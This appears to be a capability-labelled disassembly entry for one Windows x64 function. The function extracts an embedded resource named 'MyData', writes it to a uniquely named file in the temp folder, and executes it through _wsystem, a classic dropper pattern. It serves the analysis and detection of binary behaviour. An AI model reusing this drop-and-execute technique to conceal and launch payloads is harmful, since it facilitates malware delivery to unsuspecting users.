Function at 0x140001704
Capabilities:
Execute command
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x8a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x840], rcx
mov rax, qword [0x14001a040]
lea r8, str.CUSTOMDATA
lea rdx, str.MyData
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp + 0x808], rax
cmp qword [rbp + 0x808], 0
je 0x1400019fb
mov rax, qword [0x14001a040]
mov rdx, qword [rbp + 0x808]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp + 0x800], rax
cmp qword [rbp + 0x800], 0
je 0x1400019fe
mov rax, qword [0x14001a040]
mov rdx, qword [rbp + 0x808]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov dword [rbp + 0x7fc], eax
lea rax, [rbp + 0x5e0]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call rax
test eax, eax
je 0x140001a01
lea rcx, [rbp + 0x5e0]
lea rax, [rbp + 0x3d0]
mov rdx, qword [rbp + 0x840]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._S_S
mov edx, 0x104
mov rcx, rax
call sym.swprintf
lea rax, [rbp + 0x3d0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__waccess]
call rax
test eax, eax
jne 0x140001962
lea rdx, [0x140016040]
mov rcx, qword [rbp + 0x840]
call sym.wcsstr
mov qword [rbp + 0x818], rax
cmp qword [rbp + 0x818], 0
jne 0x140001844
lea rax, [0x140016044]
mov qword [rbp + 0x818], rax
lea rax, [rbp - 0x40]
mov r8d, 0x208
mov edx, 0
mov rcx, rax
call sym.memset
mov rcx, qword [rbp + 0x840]
call sym.wcslen
mov rbx, rax
mov rax, qword [rbp + 0x818]
mov rcx, rax
call sym.wcslen
sub rbx, rax
mov rdx, rbx
lea rax, [rbp - 0x40]
mov r8, rdx
mov rdx, qword [rbp + 0x840]
mov rcx, rax
call sym.wcsncpy
mov dword [rbp + 0x814], 0
lea rcx, [rbp + 0x5e0]
lea rax, [rbp + 0x3d0]
mov rdx, qword [rbp + 0x818]
mov qword [rsp + 0x30], rdx
mov edx, dword [rbp + 0x814]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._S_S__u_S
mov edx, 0x104
mov rcx, rax
call sym.swprintf
jmp 0x140001930
add dword [rbp + 0x814], 1
lea rcx, [rbp + 0x5e0]
lea rax, [rbp + 0x3d0]
mov rdx, qword [rbp + 0x818]
mov qword [rsp + 0x30], rdx
mov edx, dword [rbp + 0x814]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._S_S__u_S
mov edx, 0x104
mov rcx, rax
call sym.swprintf
lea rax, [rbp + 0x3d0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__waccess]
call rax
test eax, eax
jne 0x140001955
cmp dword [rbp + 0x814], 0xffffffff
jne 0x1400018e5
cmp dword [rbp + 0x814], 0xffffffff
je 0x140001a04
lea rax, [rbp + 0x3d0]
lea rdx, [0x14001605a]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wfopen]
call rax
mov qword [rbp + 0x7f0], rax
cmp qword [rbp + 0x7f0], 0
je 0x140001a07
mov edx, dword [rbp + 0x7fc]
mov rcx, qword [rbp + 0x7f0]
mov rax, qword [rbp + 0x800]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sym.fclose
lea rdx, [rbp + 0x3d0]
lea rax, [rbp + 0x1d0]
mov r9, rdx
lea r8, [0x140016060]
mov edx, 0x100
mov rcx, rax
call sym.swprintf
lea rax, [rbp + 0x1d0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wsystem]
call rax
jmp 0x140001a08
nop
jmp 0x140001a08
nop
jmp 0x140001a08
nop
jmp 0x140001a08
nop
jmp 0x140001a08
nop
add rsp, 0x8a8
pop rbx
pop rbp
ret